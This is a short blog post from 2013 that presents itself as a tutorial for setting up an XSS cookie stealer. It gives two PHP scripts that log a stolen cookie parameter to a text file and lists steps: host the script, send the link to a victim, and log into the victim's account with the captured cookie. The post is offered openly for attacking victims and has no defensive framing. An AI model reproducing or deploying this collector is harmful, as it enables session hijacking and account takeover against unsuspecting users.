Advertisement

Monday, May 27, 2013

SETUP XSS COOKIE STEALER


                   Hello Everyone . Today i am going to share some scripts that can help you while XXS ing a website . It is a Cookie stealing script . That can hack your victims cookie file and it will allow you to log in as the website admin .

STEPS
 1. Copy any one of the below given script and save it as a .php file

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookielog.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>

2. Upolad this php script to a free hosting website .


3. Pass this link to you victim .


4. If he clicks on this link you will get all his cookie details as cookielog.txt


5. Login to his accnt .


                                                            ! HAPPY HACKING !

0 comments:

Post a Comment

 
Design by Vinit Varghese | Bloggerized by Hemanth Joseph - Premium Blogger Themes | Online Project management